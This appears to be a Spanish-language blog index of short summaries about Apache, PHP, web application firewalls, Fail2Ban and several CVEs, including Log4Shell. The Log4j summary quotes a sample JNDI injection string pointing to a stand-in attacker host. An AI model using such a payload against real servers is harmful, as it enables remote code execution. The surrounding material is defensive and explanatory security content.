Se ha identificado una vulnerabilidad crítica en los flujos libxml de PHP, que podría afectar a las aplicaciones web que utilizan las extensiones DOM o SimpleXML para las solicitudes HTTP.

Existen varias alternativas para conectar el intérprete de PHP con Apache, cada una de ellas con sus ventaja e inconvenientes. Vamos repasar las principales e intentaremos responder a la pregunta de cuál es la más adecuada en función del uso que le vayamos a dar.

La Fundación Apache (ASF) ha emitido actualizaciones para corregir una vulnerabilidad crítica en el framework de aplicaciones de red Java MINA, que podría permitir la ejecución de código remoto bajo ciertas condiciones específicas.

SafeLine WAF se creó para proteger las aplicaciones web de las pequeñas y medianas empresas frente a las ciberamenazas mediante la supervisión y el filtrado del tráfico HTTP/HTTPS. Y lo que es más importante, con el uso generalizado de Gen AI, el tráfico automatizado de sitios web se ha vuelto cada vez más abrumador, lo que afecta negativamente a la experiencia normal del usuario y a las operaciones empresariales. Por lo tanto, nuestro objetivo es crear un WAF con sólidas capacidades anti-bot y anti ataques DDoS por inundación HTTP

Mod security es uno de los mejores WAF's (firewall para aplicaciones web) que existen, pero carece de modo gráfico lo que dificulta visualizar fácilmente los falsos positivos y las reglas aplicadas. Mediante el registro (log) en formato JSON podemos visualizar de forma gráfica todos los eventos gracias a Grafana.

Fail2Ban es un marco de software de prevención de intrusiones gratuito y de código abierto que se puede utilizar para proteger su servidor de ataques de fuerza bruta. Fail2Ban funciona mediante la supervisión continua de los archivos de registro (SSH, Apache, Auth) y prohíbe las direcciones IP que tienen los signos maliciosos tales como la acumulación de muchos fallos de contraseña.

El servidor Apache HTTP se basa en cientos de módulos desarrollados de forma independiente para manejar las solicitudes de los clientes, compartiendo una estructura de datos compleja para la comunicación.

GoAccess es un programa analizador de registros del servidor web interactivo y en tiempo real que analiza y visualiza rápidamente los registros del servidor web. Es de código abierto y se ejecuta como una línea de comandos en los sistemas operativos Unix/Linux. Proporciona un breve y beneficioso informe de estadísticas HTTP (servidor web) para los administradores de Linux sobre la marcha. También se encarga de los formatos de registro de los servidores web Apache y Ngnix.

Este tutorial muestra cómo instalar y usar ModSecurity con Apache en servidores Debian/Ubuntu. ModSecurity es un cortafuegos de aplicaciones web (WAF) de código abierto muy conocido, que proporciona una protección completa para sus aplicaciones web (como WordPress, Nextcloud, Moodle, Ghost, etc.) contra una amplia gama de ataques de Capa 7 (HTTP), como inyección SQL, cross-site scripting e inclusión de archivos locales (LFI)

 Esta semana marca el primer aniversario del descubrimiento de la vulnerabilidad Log4j/Log4Shell que afecta a la biblioteca de registro de Java. Y es que a pesar de ya haber pasado un año desde el incidente el número de descargas de versiones vulnerables de Log4j sigue siendo elevado, pues se ha calculado alrededor del 30-40% de todas las descargas son para la versión expuesta.

 El 20 de diciembre de 2021, Apache emitió oficialmente un aviso de seguridad para corregir múltiples vulnerabilidades. Los números de vulnerabilidad incluidos son: CVE-2021-44224, CVE-2021-44790, el nivel de vulnerabilidad es de alto riesgo. La primera vulnerabilidad sólo afecta si tenemos la directiva ProxyRequests On y la segunda si usamos el módulo mod_lua activado (por defecto se encuentra deshabilitado). Las dos vulnerabilidades se encuentran corregidas en Apache 2.4.52. No se conocen exploits públicos por el momento.

Las versiones de Log4j anteriores a 2.16.0 están sujetas a una vulnerabilidad de ejecución remota de código a través del analizador ldap JNDI. El resumen de la vulnerabilidad anterior es que un servidor que utilice la librería de java vulnerable, cuando reciba una petición en alguno de los campos que necesitaría tratar (el User-Agent en este caso), parsearía el contenido (${variable} => ${jndi:ldap://evil.xa/x}), entraría log4j para su tratamiento, realizaría la query ldap hacia el destino (evil.xa) y éste le respondería con la clase maliciosa ejecutando el código existente en la misma.

Esta vulnerabilidad de la versión 2.4.48 de Apache HTTP Server (httpd) puede dar lugar a la falsificación de peticiones del lado del servidor, y se puede aprovechar a distancia si un módulo concreto está habilitado (mod_proxy).

Se ha publicado una vulnerabilidad en Apache 2.4.49 que se está reproduciendo de forma activa por actores maliciosos. Es una nueva vulnerabilidad crítica de Path Traversal afecta sólo en esa versión de Apache. La misma es identificada como CVE-2021-41773.

Ha costado más de un década de escalada sin prisa pero sin pausa y se puede decir que Nginx ya es el servidor web más popular del mundo, superando en términos globales por primera vez al veterano Apache, referente de Internet y del software de código abierto. Aunque gran parte de culpa es la utilización masiva del CDN CloudFlare que usa nginx como servidor web.

Esta guía se compondrá de tres partes (series) sobre la correcta instalación de LAMP (Linux, Apache, MySQL, PHP). Optimizar y configuración avanzada  de Apache (MPM, diferencias 2.2 y 2.4, http2, mod_security (WAF) , Apache suExec, migración a nginx. Segunda parte: Optimizar y configurar PHPFPM (módulo PHP) y opciones de seguridad en PHP y la tercera parte configuración y optimización y seguridad en MySQL (MariaDB, Percona) (MyISAM vs InnoDB, log binario, copias de seguridad mysqldump, variables key_buffer_size (MyISAM), innodb_buffer_pool_size para InnoDB  etc)